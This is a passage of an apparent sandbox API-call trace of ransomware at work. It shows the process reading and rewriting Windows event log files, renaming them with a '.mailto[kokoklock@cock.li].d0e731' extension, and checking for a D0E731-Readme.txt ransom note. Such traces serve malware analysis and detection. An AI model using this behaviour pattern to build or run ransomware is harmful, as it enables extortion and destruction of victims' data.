hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb0efabc*=0x4, lpOverlapped=0x0) returned 1 [0167.593] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.593] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.593] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.593] CloseHandle (hObject=0x528) returned 1 [0167.593] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x2f95a00 [0167.593] wcscpy (in: _Dest=0x2f95a00, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.593] wcscat (in: _Dest=0x2f95a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.593] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.594] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.594] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95a00) returned 1 [0167.594] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.594] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.594] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.595] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83fd8) returned 1 [0167.595] RtlExitUserThread (Status=0x1) Thread: id = 1667 os_tid = 0xd54 [0167.596] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.596] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.596] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb16f7c8 | out: lpFileSize=0xb16f7c8*=69824) returned 1 [0167.596] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.596] ReadFile (in: hFile=0x528, lpBuffer=0xb16f79c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0xb16f79c*, lpNumberOfBytesRead=0xb16f798*=0x4, lpOverlapped=0x0) returned 1 [0167.597] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96688 [0167.597] NtQuerySystemTime (in: CurrentTime=0xb16f774 | out: CurrentTime=0xb16f774*=132121213249061806) returned 0x0 [0167.597] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xae93bc2b [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xa8ee998f [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x4614254b [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xb2277656 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x43033072 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xea728a3d [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x4112b77c [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x6a870b24 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x10df8993 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xc9fda81f [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x97f32c9e [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x860252a3 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xbd5c1ee1 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xab9dea6d [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x3e50e15d [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xd6e52052 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x12600804 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x1ffb1b5a [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xffe21012 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xb1953d12 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x2c198250 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xe81c0b1c [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x26d136d4 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xf9839167 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xd05306f7 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x135391e8 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x98bd9502 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xe01719eb [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xb898417b [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0xe9d52e70 [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x425fc8df [0167.598] RtlRandom (in: Seed=0xb16f780 | out: Seed=0xb16f780) returned 0x9cbc7cd9 [0167.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.609] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.609] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb16f74c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb16f74c*=0x4096, lpOverlapped=0x0) returned 1 [0167.610] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966b0 [0167.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966b0) returned 1 [0167.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966b0 [0167.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96728) returned 1 [0167.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.611] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb16f74c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb16f74c*=0x4096, lpOverlapped=0x0) returned 1 [0167.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.611] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.611] WriteFile (in: hFile=0x528, lpBuffer=0x2f966b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb16f784, lpOverlapped=0x0 | out: lpBuffer=0x2f966b0*, lpNumberOfBytesWritten=0xb16f784*=0x20, lpOverlapped=0x0) returned 1 [0167.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966b0) returned 1 [0167.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.611] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xb16f798*=0x8, lpOverlapped=0x0) returned 1 [0167.611] WriteFile (in: hFile=0x528, lpBuffer=0xb16f7b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0xb16f7b0*, lpNumberOfBytesWritten=0xb16f798*=0x4, lpOverlapped=0x0) returned 1 [0167.611] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb16f798*=0x4, lpOverlapped=0x0) returned 1 [0167.612] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb16f798*=0x6c, lpOverlapped=0x0) returned 1 [0167.612] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb16f798*=0x20, lpOverlapped=0x0) returned 1 [0167.612] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb16f798, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb16f798*=0x4, lpOverlapped=0x0) returned 1 [0167.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.612] CloseHandle (hObject=0x528) returned 1 [0167.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95a00 [0167.612] wcscpy (in: _Dest=0x2f95a00, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" [0167.612] wcscat (in: _Dest=0x2f95a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.612] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.613] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95a00) returned 1 [0167.613] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.613] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.613] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.613] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6dd10) returned 1 [0167.613] RtlExitUserThread (Status=0x1) Thread: id = 1668 os_tid = 0xd4c [0167.615] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.617] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.617] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.617] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb1ef938 | out: lpFileSize=0xb1ef938*=69824) returned 1 [0167.617] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.617] ReadFile (in: hFile=0x528, lpBuffer=0xb1ef90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0xb1ef90c*, lpNumberOfBytesRead=0xb1ef908*=0x4, lpOverlapped=0x0) returned 1 [0167.619] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966b0 [0167.619] NtQuerySystemTime (in: CurrentTime=0xb1ef8e4 | out: CurrentTime=0xb1ef8e4*=132121213249414817) returned 0x0 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x4e9f4ffb [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x6a5632e3 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x2f1334b5 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x5e65ab73 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xc6bb1fdd [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x4ef14c46 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x902cd12c [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x1727341e [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x5379c02b [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x6c475a82 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x4f6c188e [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x41a62139 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xd9f8decf [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xec6fd559 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x38089866 [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x6cd3387e [0167.619] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xf385412f [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xec0c11e6 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x71415cc7 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x8c3258eb [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x147dca65 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x8ab0339 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xcaaa3d1f [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x7c0fd1f6 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x522c246 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xaed3cdeb [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xa1d7d342 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xe2f3b0a [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x1b844ac8 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xc72dd504 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0x8561f1b1 [0167.620] RtlRandom (in: Seed=0xb1ef8f0 | out: Seed=0xb1ef8f0) returned 0xb7c2d0e7 [0167.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.632] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.632] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.632] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.632] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb1ef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb1ef8bc*=0x4096, lpOverlapped=0x0) returned 1 [0167.633] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96728) returned 1 [0167.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96250 [0167.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96250) returned 1 [0167.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.634] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb1ef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb1ef8bc*=0x4096, lpOverlapped=0x0) returned 1 [0167.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.635] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.635] WriteFile (in: hFile=0x528, lpBuffer=0x2f96728*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb1ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f96728*, lpNumberOfBytesWritten=0xb1ef8f4*=0x20, lpOverlapped=0x0) returned 1 [0167.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96728) returned 1 [0167.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.635] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xb1ef908*=0x8, lpOverlapped=0x0) returned 1 [0167.635] WriteFile (in: hFile=0x528, lpBuffer=0xb1ef920*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0xb1ef920*, lpNumberOfBytesWritten=0xb1ef908*=0x4, lpOverlapped=0x0) returned 1 [0167.635] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb1ef908*=0x4, lpOverlapped=0x0) returned 1 [0167.636] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb1ef908*=0x6c, lpOverlapped=0x0) returned 1 [0167.636] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb1ef908*=0x20, lpOverlapped=0x0) returned 1 [0167.636] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb1ef908, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb1ef908*=0x4, lpOverlapped=0x0) returned 1 [0167.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.637] CloseHandle (hObject=0x528) returned 1 [0167.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4670 [0167.637] wcscpy (in: _Dest=0x2fc4670, _Source="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: 